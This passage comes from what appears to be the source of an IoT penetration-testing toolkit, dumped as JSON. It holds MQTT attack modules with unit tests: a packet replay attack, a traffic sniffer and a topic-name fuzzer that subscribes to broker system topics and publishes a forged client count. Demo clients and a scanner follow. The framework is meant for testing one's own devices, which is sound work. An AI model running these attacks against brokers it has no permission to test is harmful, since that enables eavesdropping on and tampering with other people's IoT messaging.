\"peniot-bbdep\"]\n            for index, _input in enumerate(example_inputs):\n                self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.mqtt_random_payload_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"Random Payload Fuzzing Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_replay_attack.py",
    "content": "import logging\nimport signal\nimport time\nimport unittest\n\nimport paho.mqtt.client as paho\n\nfrom protocols.MQTT.mqtt_scanner import MQTTScanner\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.RandomUtil import random_generated_names\nfrom Utils.SnifferUtil import generic_sniffer\n\n\nclass MQTTReplayAttack(Attack):\n    \"\"\"\n    MQTT Protocol - Replay Attack Module\n    Performs a replay attack using the inputs which are provided by the user\n    \"\"\"\n    client = None\n    captured_packets = None\n\n    # Input Fields\n    selected_index = 0\n    timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT\n    interface = generic_sniffer.DEFAULT_INTERFACE\n\n    # Miscellaneous Members\n    logger = None\n\n    def __init__(self):\n        default_parameters = [\"\", 10.0, \"any\"]\n        inputs = [\n            InputFormat(\"Selected packet index\", \"selected_index\", self.selected_index, int, mandatory=True),\n            InputFormat(\"Timeout\", \"timeout\", self.timeout, float),\n            InputFormat(\"Interface\", \"interface\", str(self.interface), str, mandatory=True)\n        ]\n        Attack.__init__(self, \"MQTT Replay Attack\", inputs, default_parameters,\n                        \"Performs a replay attack using the inputs\\n\"\n                        \"which are provided by the user.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Exitting...\")\n        if self.client is not None:\n            self.client.disconnect()  # Close the connection before exitting\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n        # sys.exit(0)\n\n    def pre_attack_init(self):\n        try:\n            assert self.selected_index >= 0\n        except AssertionError as _:\n            self.logger.error(\"Invalid selected packet value!\")\n            raise\n        try:\n            assert self.selected_index < len(self.captured_packets)\n        except AssertionError as _:\n            self.logger.error(\"Input value exceeds captured packets' size!\")\n            raise\n        self.client = paho.Client(random_generated_names.get_random_client_name())\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_process()  # Sniff the packets so we can replay\n        self.pre_attack_init()  # Do the necessary checks\n        try:\n            selected_packet = self.captured_packets[self.selected_index]\n            try:\n                self.client.connect(selected_packet.ip.dst_host)\n            except Exception as e:\n                self.logger.error(\"Failed to connect to broker\")\n\n            self.logger.info(selected_packet)\n            self.client.publish(selected_packet.mqtt.topic, selected_packet.mqtt.msg)\n        except IndexError as _:\n            self.logger.error(\"Invalid packet index. Indices start from 0...\")\n\n    def pre_attack_process(self):\n        \"\"\"\n        TODO Need to think how we can integrate such a pre_called method to GUI before attack execution\n        Scans valid packets to be replayed\n        \"\"\"\n        super(MQTTReplayAttack, self).set_input_value(\"timeout\")\n        try:\n            assert self.timeout >= 0\n            self.captured_packets = MQTTScanner().scan(self.timeout, self.interface)\n            self.captured_packets = filter(lambda _: int(_.mqtt.msgtype) << 4 == paho.PUBLISH, self.captured_packets)\n        except AssertionError as _:\n            self.logger.error(\"Invalid timeout for scan operation!\")\n\n\nclass TestMQTTReplayAttack(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_replay_attack = MQTTReplayAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT Replay Attack\", self.mqtt_replay_attack.get_attack_name())\n\n    def test_non_initialized_inputs(self):\n        inputs = self.mqtt_replay_attack.get_inputs()\n        for _input in inputs:\n            value = getattr(self.mqtt_replay_attack, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [8, 13.2, \"test-interface\"]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_replay_attack.inputs[index].set_value(_input)\n\n        super(MQTTReplayAttack, self.mqtt_replay_attack).run()\n\n        inputs = self.mqtt_replay_attack.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.mqtt_replay_attack, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_replay_attack(self):\n        example_inputs = [0, 15., \"any\"]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_replay_attack.inputs[index].set_value(_input)\n\n        self.mqtt_replay_attack.pre_attack_process()\n        packets = self.mqtt_replay_attack.captured_packets\n\n        self.assertIsNotNone(packets)\n        self.assertTrue(type(packets) == list)\n        self.assertGreaterEqual(len(packets), 0)\n        if len(packets) > 0:\n            self.mqtt_replay_attack.run()\n            self.assertTrue(True)\n        else:\n            self.assertTrue(False)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_sniff_attack.py",
    "content": "import logging\nimport signal\nimport time\nimport unittest\n\nfrom protocols.MQTT.mqtt_scanner import MQTTScanner\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils import CommonUtil\nfrom Utils.SnifferUtil import generic_sniffer\n\n\nclass MQTTSniffAttack(Attack):\n    \"\"\"\n    MQTT Protocol - Sniff Attack module\n    It is created to scan/sniff the devices for their information\n    \"\"\"\n    # Input Fields\n    timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT\n    interface = generic_sniffer.DEFAULT_INTERFACE\n    save_output = generic_sniffer.DEFAULT_SAVE\n\n    # Misc Members\n    logger = None\n\n    def __init__(self):\n        default_parameters = [\n            60.0,\n            generic_sniffer.DEFAULT_INTERFACE,\n            generic_sniffer.DEFAULT_SAVE\n        ]\n        inputs = [\n            InputFormat(\"Timeout\", \"timeout\", self.timeout, float),\n            InputFormat(\"Interface\", \"interface\", str(self.interface), str, mandatory=True),\n            InputFormat(\"Save Captured Packets\", \"save_output\", str(self.save_output), bool)\n        ]\n        Attack.__init__(self, \"MQTT Sniff Attack\", inputs, default_parameters,\n                        \"    It listens to the network traffic and\\n\"\n                        \"    captures MQTT packages.\")\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Exitting...\")\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n        # sys.exit(0)\n\n    def input_check(self):\n        try:\n            assert self.timeout >= 0\n        except AssertionError as e:\n            self.logger.error(\"Invalid timeout for scan operation!\")\n\n    def run(self):\n        self.input_check()  # Do the necessary checks\n        super(MQTTSniffAttack, self).run()\n        packets = MQTTScanner().scan(self.timeout, self.interface,\n                                     output_pcap_filename=\"MQTT_\" + CommonUtil.get_current_datetime_for_filename_format() if self.save_output else None)\n\n        for packet in packets:\n            self.logger.info(packet)\n\n        return packets\n\n\nclass TestMQTTSniffAttack(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_sniff_attack = MQTTSniffAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT Sniff Attack\", self.mqtt_sniff_attack.get_attack_name())\n\n    def test_non_initialized_inputs(self):\n        inputs = self.mqtt_sniff_attack.get_inputs()\n        for _input in inputs:\n            value = getattr(self.mqtt_sniff_attack, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [13.2, \"test-interface\", False]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_sniff_attack.inputs[index].set_value(_input)\n\n        super(MQTTSniffAttack, self.mqtt_sniff_attack).run()\n\n        inputs = self.mqtt_sniff_attack.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.mqtt_sniff_attack, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_sniff_attack(self):\n        example_inputs = [10.0]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_sniff_attack.inputs[index].set_value(_input)\n\n        packets = self.mqtt_sniff_attack.run()\n        self.assertIsNotNone(packets)\n        self.assertTrue(type(packets) == list)\n        self.assertGreaterEqual(len(packets), 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_topic_name_fuzzing.py",
    "content": "import logging\nimport multiprocessing\nimport signal\nimport time\nimport unittest\n\nimport paho.mqtt.client as paho\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.RandomUtil import random_generated_names\n\n\nclass MQTTTopicNameFuzzingAttack(Attack):\n    \"\"\"\n    MQTT Protocol - Topic Name Fuzzer Attack module\n    It is created to test any MQTT device as black box test with malformed or semi-malformed inputs\n    \"\"\"\n    client = None\n\n    # Input Fields\n    address = None\n    client2_name = None\n\n    # Misc Members\n    logger = None\n\n    def __init__(self):\n        default_parameters = [\"127.0.0.1\", \"\"]\n        inputs = [\n            InputFormat(\"Broker Address\", \"address\", \"\", str, mandatory=True),\n            InputFormat(\"Client Name\", \"client2_name\", \"\", str, mandatory=True)\n        ]\n\n        Attack.__init__(self, \"MQTT Topic Name Fuzzing Attack\", inputs, default_parameters,\n                        \"    MQTT Topic Name Fuzzing Attack description\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"MQTT topic name fuzzing is interrupted, exitting...\")\n        if self.client is not None:\n            self.client.disconnect()  # Close the connection before exitting\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n        # sys.exit(0)\n\n    def pre_attack_init(self):\n        self.client = paho.Client(random_generated_names.get_random_client_name())\n        try:\n            self.client.connect(self.address)\n        except Exception as e:  # We may fail to connect the broker if the adress is invalid so except it\n            self.logger.error(\"Failed to connect to broker\")\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        self.client.publish(self.client2_name + \"/status\", \"topic_name_fuzzing_type_1\")\n        print \"Please check if the attacked client continues working\"\n\n        er = self.client.subscribe(\"$SYS/#\", 1)\n\n        if er[0] == 0:\n            self.logger.info(\"Successfully subscribed to all system topics. ALERT!\")\n            self.client.unsubscribe(\"$SYS/#\")\n        else:\n            self.logger.info(\"Failed to subscribe to all system topics. Very good!\")\n\n        # Trying to publish to a system topic, change the number of clients connected\n        self.logger.info(\n            \"Please check from the broker monitor if 999 is published to $SYS/broker/clients/connected, it will be published in a seconds!\")\n        time.sleep(2)\n        self.client.publish(\"$SYS/broker/clients/connected\", 999)\n        self.logger.info(\"Please check from the broker monitor if 999 is published to $SYS/broker/clients/connected.\")\n\n\nclass TestMQTTTopicNameFuzzingAttack(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_topic_name_fuzzer = MQTTTopicNameFuzzingAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT Topic Name Fuzzing Attack\", self.mqtt_topic_name_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.mqtt_topic_name_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 2)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.mqtt_topic_name_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.mqtt_topic_name_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", \"peniot-test-cli\"]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_topic_name_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.mqtt_topic_name_fuzzer.client)\n\n        super(MQTTTopicNameFuzzingAttack, self.mqtt_topic_name_fuzzer).run()\n\n        inputs = self.mqtt_topic_name_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.mqtt_topic_name_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_payload_size_fuzzing_attack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\", \"peniot-cli\"]\n            for index, _input in enumerate(example_inputs):\n                self.mqtt_topic_name_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.mqtt_topic_name_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"Topic Name Fuzzing Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/examples/Demo/__init__.py",
    "content": ""
  },
  {
    "path": "src/protocols/MQTT/examples/Demo/demo_publisher.py",
    "content": "import paho.mqtt.client as paho\n\nimport argparse\nimport logging\nimport signal\nimport sys\nimport time\n\nfrom Utils.RandomUtil.random_generated_names import get_random_client_name\n\nDEFAULT_BROKER_HOST = \"localhost\"\nDEFAULT_TOPIC_NAME = \"peniot/demo\"\nDEFAULT_CLIENT_NAME = get_random_client_name()\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"MQTT Demo Publisher Example\")\n\nglobal_publisher = None\n\n\ndef signal_handler(sig, frame):\n    global global_publisher\n    logger.info(\"Connection will be closed\")\n    if global_publisher is not None:\n        global_publisher.loop_stop()\n        global_publisher.disconnect()\n    sys.exit(0)\n\n\ndef publish_procedure(publisher_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):\n    \"\"\"\n    Publisher execution context\n    :param publisher_client: Publisher object\n    :param broker_host_name: Host name to connect\n    :param topic: Topic to be published\n    :type publisher_client: paho.Client\n    :return: Nothing\n    \"\"\"\n    # Signal handler to exit from function\n    signal.signal(signal.SIGINT, signal_handler)\n\n    global global_publisher\n    publisher_client.connect(broker_host_name)\n    global_publisher = publisher_client\n\n    # Start loop that always checks receive and send buffer with threads and tries to catch new messages\n    publisher_client.loop_start()\n    data_gen = data_generator()\n    while True:\n        publish_content = next(data_gen)\n        publisher_client.publish(topic, publish_content)\n        time.sleep(2)\n        logger.info(\"Message {0} is published\".format(publish_content))\n\n\ndef data_generator():\n    import datetime\n    import random\n\n    today = datetime.datetime.now()\n    while True:\n        yield \"{0},{1}\".format(today.date(), round(random.uniform(-20, 40), 2))\n        today = today + datetime.timedelta(days=1)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-b\", \"--broker\", help=\"Broker host name or IP address\", default=DEFAULT_BROKER_HOST)\n    parser.add_argument(\"-t\", \"--topic\", help=\"Topic name to subscribe\", default=DEFAULT_TOPIC_NAME)\n    parser.add_argument(\"-c\", \"--cli\", help=\"Client name for subscription\", default=DEFAULT_CLIENT_NAME)\n    args = parser.parse_args()\n\n    # Create publisher\n    publisher = paho.Client(args.cli)\n    logger.info(\"Publisher is created\")\n\n    # Assign necessary callbacks\n    logger.info(\"Callbacks are assigned\")\n\n    publish_procedure(publisher, args.broker, args.topic)\n\n"
  },
  {
    "path": "src/protocols/MQTT/examples/Demo/demo_subscriber.py",
    "content": "import paho.mqtt.client as paho\n\nimport argparse\nimport logging\nimport signal\nimport sys\nimport threading\n\nfrom Utils.RandomUtil.random_generated_names import get_random_client_name\n\nDEFAULT_BROKER_HOST = \"localhost\"\nDEFAULT_TOPIC_NAME = \"peniot/demo\"\nDEFAULT_CLIENT_NAME = get_random_client_name()\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"MQTT Demo Subscriber Example\")\n\nglobal_subscriber = None\n\n\nclass DemoSubscriber(object):\n    \"\"\"\n    Demo Subscriber that will have limited data storage and error prone code to simulate effects of attacks\n    \"\"\"\n    def __init__(self):\n        self.message_container = []\n        self.start_processing_of_temperatures()\n\n    def on_message(self, client, userdata, message):\n        coming_message = str(message.payload.decode(\"utf-8\"))\n        logger.info(\"Received message = {0}\".format(coming_message))\n        if coming_message == \"peniot-pay\":\n            return\n        self.on_message_append(coming_message)\n\n    def on_message_append(self, message):\n        # Parse message\n        parsed_entity = TemperatureData(message)\n        if len(self.message_container) < 2**8:\n            self.message_container.append(parsed_entity)\n        else:\n            logger.error(\"Message container is full!\")\n            # sys.exit(0)\n\n    def start_processing_of_temperatures(self):\n        if len(self.message_container) > 0:\n            logger.info(\"Popped message = {0}\".format(self.message_container.pop(0)))\n\n        threading.Timer(2.0, self.start_processing_of_temperatures).start()\n\n\nclass TemperatureData(object):\n    \"\"\"\n    Container class for temperature data that comes from publisher\n    \"\"\"\n    def __init__(self, temperature_string):\n        try:\n            parsed = temperature_string.split(\",\")\n            self.date, self.temperature = tuple(parsed)\n        except Exception as e:\n            logger.error(\"Impossible data to parse... I gave up, I need rest to recover...\")\n            # sys.exit(0)\n\n    def get_date(self):\n        return self.date\n\n    def set_date(self, date):\n        self.date = date\n\n    def get_temperature(self):\n        return self.temperature\n\n    def set_temperature(self, temperature):\n        self.temperature = temperature\n\n    def __repr__(self):\n        return \"{0},{1}\".format(self.date, self.temperature)\n\n\ndef signal_handler(sig, frame):\n    global global_subscriber\n    logger.info(\"Connection will be closed\")\n    if global_subscriber is not None:\n        global_subscriber.loop_stop()\n        global_subscriber.disconnect()\n    sys.exit(0)\n\n\ndef subscribe_procedure(subscriber_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):\n    \"\"\"\n    Subscriber execution context\n    :param subscriber_client: Subscriber object\n    :param broker_host_name: Host name to connect\n    :param topic: Topic to be subscribe\n    :type subscriber_client: paho.Client\n    :return: Nothing\n    \"\"\"\n    # Signal handler to exit from function\n    signal.signal(signal.SIGINT, signal_handler)\n\n    global global_subscriber\n    subscriber_client.connect(broker_host_name)\n    global_subscriber = subscriber_client\n\n    # Start loop that always checks receive and send buffer with threads and tries to catch new messages\n    subscriber_client.subscribe(topic)\n    subscriber_client.loop_forever()\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-b\", \"--broker\", help=\"Broker host name or IP address\", default=DEFAULT_BROKER_HOST)\n    parser.add_argument(\"-t\", \"--topic\", help=\"Topic name to subscribe\", default=DEFAULT_TOPIC_NAME)\n    parser.add_argument(\"-c\", \"--cli\", help=\"Client name for subscription\", default=DEFAULT_CLIENT_NAME)\n    args = parser.parse_args()\n\n    # Create subscriber\n    subscriber = paho.Client(args.cli)\n    logger.info(\"Subscriber is created\")\n    demo_subscriber = DemoSubscriber()\n\n    # Assign necessary callbacks\n    subscriber.on_message = demo_subscriber.on_message\n    logger.info(\"Callbacks are assigned\")\n\n    subscribe_procedure(subscriber, args.broker, args.topic)\n\n"
  },
  {
    "path": "src/protocols/MQTT/examples/__init__.py",
    "content": "\"\"\"\n    This package is written to understand basic connection and communication mechanisms by local broker servers.\n    There is a two scripts that contains one publisher and one subscriber example.\n\"\"\""
  },
  {
    "path": "src/protocols/MQTT/examples/publisher_example.py",
    "content": "import paho.mqtt.client as paho\n\nimport argparse\nimport logging\nimport signal\nimport sys\nimport time\n\nDEFAULT_BROKER_HOST = \"localhost\"\nDEFAULT_TOPIC_NAME = \"peniot/test\"\nDEFAULT_CLIENT_NAME = \"peniot-publisher\"\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"MQTT Publisher Example\")\n\nglobal_publisher = None\n\n\"\"\"\n    MQTT Example Publisher\n\"\"\"\n\n\ndef signal_handler(sig, frame):\n    global global_publisher\n    logger.info(\"Connection will be closed\")\n    if global_publisher is not None:\n        global_publisher.loop_stop()\n        global_publisher.disconnect()\n    sys.exit(0)\n\n\ndef on_message(client, userdata, message):\n    logger.info(\"Received message = {0}\".format(str(message.payload.decode(\"utf-8\"))))\n\n\ndef on_connect(client, userdata, flags, rc):\n    logger.info(\"Connection is established\")\n\n\ndef publish_procedure(publisher_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):\n    \"\"\"\n    Publisher execution context\n    :param publisher_client: Publisher object\n    :param broker_host_name: Host name to connect\n    :param topic: Topic to be published\n    :type publisher_client: paho.Client\n    :return: Nothing\n    \"\"\"\n    # Signal handler to exit from function\n    signal.signal(signal.SIGINT, signal_handler)\n\n    global global_publisher\n    publisher_client.connect(broker_host_name)\n    global_publisher = publisher_client\n\n    # Start loop that always checks receive and send buffer with threads and tries to catch new messages\n    publisher_client.loop_start()\n    publish_content = 0\n    while True:\n        publisher_client.publish(topic, \"Peniot test message: \" + str(publish_content))\n        time.sleep(2)\n        publish_content += 1\n        logger.info(\"Message {0} is published\".format(publish_content))\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-b\", \"--broker\", help=\"Broker host name or IP address\", default=DEFAULT_BROKER_HOST)\n    parser.add_argument(\"-t\", \"--topic\", help=\"Topic name to subscribe\", default=DEFAULT_TOPIC_NAME)\n    parser.add_argument(\"-c\", \"--cli\", help=\"Client name for subscription\", default=DEFAULT_CLIENT_NAME)\n    args = parser.parse_args()\n\n    # Create publisher\n    publisher = paho.Client(args.cli)\n    logger.info(\"Publisher is created\")\n\n    # Assign necessary callbacks\n    publisher.on_message = on_message\n    logger.info(\"Callbacks are assigned\")\n\n    publish_procedure(publisher, args.broker, args.topic)\n\n"
  },
  {
    "path": "src/protocols/MQTT/examples/subscriber_example.py",
    "content": "import paho.mqtt.client as paho\n\nimport argparse\nimport logging\nimport signal\nimport sys\nimport time\n\nDEFAULT_BROKER_HOST = \"localhost\"\nDEFAULT_TOPIC_NAME = \"peniot/test\"\nDEFAULT_CLIENT_NAME = \"peniot-subscriber\"\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"MQTT Subscriber Example\")\n\nglobal_subscriber = None\n\n\"\"\"\n    MQTT Example Subscriber\n\"\"\"\n\n\ndef signal_handler(sig, frame):\n    global global_subscriber\n    logger.info(\"Connection will be closed\")\n    if global_subscriber is not None:\n        global_subscriber.loop_stop()\n        global_subscriber.disconnect()\n    sys.exit(0)\n\n\ndef on_message(client, userdata, message):\n    logger.info(\"Received message = {0}\".format(str(message.payload.decode(\"utf-8\"))))\n\n\ndef on_connect(client, userdata, flags, rc):\n    logger.info(\"Connection is established\")\n\n\ndef subscribe_procedure(subscriber_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME):\n    \"\"\"\n    Subscriber execution context\n    :param subscriber_client: Subscriber object\n    :param broker_host_name: Host name to connect\n    :param topic: Topic to be subscribe\n    :type subscriber_client: paho.Client\n    :return: Nothing\n    \"\"\"\n    # Signal handler to exit from function\n    signal.signal(signal.SIGINT, signal_handler)\n\n    global global_subscriber\n    subscriber_client.connect(broker_host_name)\n    global_subscriber = subscriber_client\n\n    # Start loop that always checks receive and send buffer with threads and tries to catch new messages\n    subscriber_client.loop_start()\n\n    while True:\n        subscriber_client.subscribe(topic)\n        time.sleep(2)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-b\", \"--broker\", help=\"Broker host name or IP address\", default=DEFAULT_BROKER_HOST)\n    parser.add_argument(\"-t\", \"--topic\", help=\"Topic name to subscribe\", default=DEFAULT_TOPIC_NAME)\n    parser.add_argument(\"-c\", \"--cli\", help=\"Client name for subscription\", default=DEFAULT_CLIENT_NAME)\n    args = parser.parse_args()\n\n    # Create subscriber\n    subscriber = paho.Client(args.cli)\n    \n    logger.info(\"Subscriber is created\")\n\n    # Assign necessary callbacks\n    subscriber.on_message = on_message\n    logger.info(\"Callbacks are assigned\")\n\n    subscribe_procedure(subscriber, args.broker, args.topic)\n\n"
  },
  {
    "path": "src/protocols/MQTT/mqtt_protocol.py",
    "content": "from Entity.protocol import Protocol\n\nimport unittest\n\n\nclass MQTT(Protocol):\n\n    def __init__(self):\n        mqtt_definition = \"MQTT is an application layer internet of things (IoT) protocol. \" \\\n                          \"It is mainly a messaging protocol. At the center of MQTT, there exists a central broker \" \\\n                          \"that acts as a server.Each client connected to that broker can open a topic \" \\\n                          \"and publish messsages to that topic.Then any client connected to a broker can subscribe to the \" \\\n                          \"topics stored on that broker.More than one client can subscribe to a single topic.\\n\\n\" \\\n                          \"Clients communicate via publishing and subscring to topics that they are interested. Main duties of \" \\\n                          \"the broker are storing topics, storing the messages published on these topics and then sending the \" \\\n                          \"published messages to the clients subscribed to that particular topic. More explicitly, when a \" \\\n                          \"message is published by a client to a topic, first the broker stores that message in the memory space \" \\\n                          \"that it had allocated for that topic. Then the broker sends that message to every single client that \" \\\n                          \"had subscribed to that topic. Existence of a working broker is essential, without a central broker \" \\\n                          \"clients cannot communicate among themselves.\\n\\n\" \\\n                          \"Aforementioned structure of the MQTT makes the broker main target of cyber attacks. Therefore, it \" \\\n                          \"is very important that security configurations of the MQTT broker are set correctly. However, \" \\\n                          \"this does not mean client security is not important. Clients should be configured in a way that \" \\\n                          \"they can handle unexpected inputs without facing a failure. From our MQTT attacks menu, you can choose \" \\\n                          \"from a list of attacks to test your devices. You can get more information about each attack from \" \\\n                          \"the attacks page.\"\n        attack_suites = []\n        Protocol.__init__(self, \"MQTT\", attack_suites, mqtt_definition)\n\n\nclass TestMQTTProtocol(unittest.TestCase):\n    def setUp(self):\n        self.mqtt = MQTT()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT\", self.mqtt.get_protocol_name())\n\n    def test_attacks(self):\n        attack_suites = self.mqtt.get_attack_suites()\n        self.assertIsNotNone(attack_suites)\n        self.assertEquals(len(attack_suites), 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/mqtt_scanner.py",
    "content": "from Utils.SnifferUtil import generic_sniffer as generic_sniffer\n\nfrom scapy.all import *\n\n# Since MQTT runs on TCP/IP, we filter captured packets using TCP protocol\nmqtt_filter = \"tcp\"\n# 1883 and 8883 ports are reserved for MQTT protocol\nmqtt_port = 1883\nmqtt_port_ssl = 8883\n\n# Capturing via TShark\nmqtt_layer_filter = \"mqtt\"\n\n\nclass MQTTScanner:\n    \"\"\"\n    This class is used to scan for a MQTT device.\n    It captures packets from the network and try to find MQTT devices.\n    \"\"\"\n\n    def __init__(self):\n        pass\n\n    @staticmethod\n    def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE,\n             use_json_and_include_raw=False, output_pcap_filename=None):\n        sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface,\n                                                 use_json=use_json_and_include_raw,\n                                                 include_raw=use_json_and_include_raw,\n                                                 output_pcap_filename=output_pcap_filename,\n                                                 display_filter=mqtt_layer_filter)\n        sniffer.start_live_capture()\n        return sniffer.get_captured_packets()\n\n    @staticmethod\n    def get_raw_tcp_payload_as_bytes(packet):\n        return (packet.mqtt_raw.value[0]).decode(\"hex\")\n\n    @staticmethod\n    def get_raw_frame_as_bytes(packet):\n        return (packet.frame_raw.value[0]).decode(\"hex\")\n\n    '''\n    @staticmethod\n    def scan(count, interface, timeout, mac_address=None, src_dst=None):\n        \"\"\"\n        Scans the network to find MQTT devices and returns the packets\n        if mac_address and src_dst parameters are provided,then we will search for a specific device\n        :param count: the total number of packets to be captured\n        :param interface: the interface to be scanned\n        :param timeout: the time out value to give finish scanning (in sec)\n        :param mac_address: MAC address of the device\n        :param src_dst: if src_dst is 0, then we will check packets' source field, if it is 1,then we will check\n                        packets' destination field\n        :return: packets found\n        \"\"\"\n        packets = []\n        if src_dst is not None and mac_address is not None:\n            mac_address = mac_address.lower()  # it should contain lower case chars\n            if src_dst == 0:  # check source field\n                packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter,\n                                lfilter=lambda d: d.src == mac_address)\n            elif src_dst == 1:  # check destination field\n                packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter,\n                                lfilter=lambda d: d.dst == mac_address)\n        else:\n            packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter)\n        packets_found = []  # the packets we found\n        for i in range(0, len(packets)):\n            if packets[i]['TCP'].sport == mqtt_port or packets[i]['TCP'].dport == mqtt_port_ssl:\n                packets_found.append(packets[i])\n        return packets_found\n\n    @staticmethod\n    def scan_file(count, interface, file_name, mac_address=None, src_dst=None):\n        \"\"\"\n        Scans the given packet file to find MQTT devices and returns the packets\n        if mac_address and src_dst parameters are provided,then we will search for a specific device\n        :param count: the total number of packets to be captured\n        :param interface: the interface to be scanned\n        :param file_name: the name of file to be checked to find a MQTT device\n        :param mac_address: MAC address of the device\n        :param src_dst: if src_dst is 0, then we will check packets' source field, if it is 1,then we will check\n                        packets' destination field\n        :return: packets found\n        \"\"\"\n        packets = []\n        if src_dst is not None and mac_address is not None:\n            mac_address = 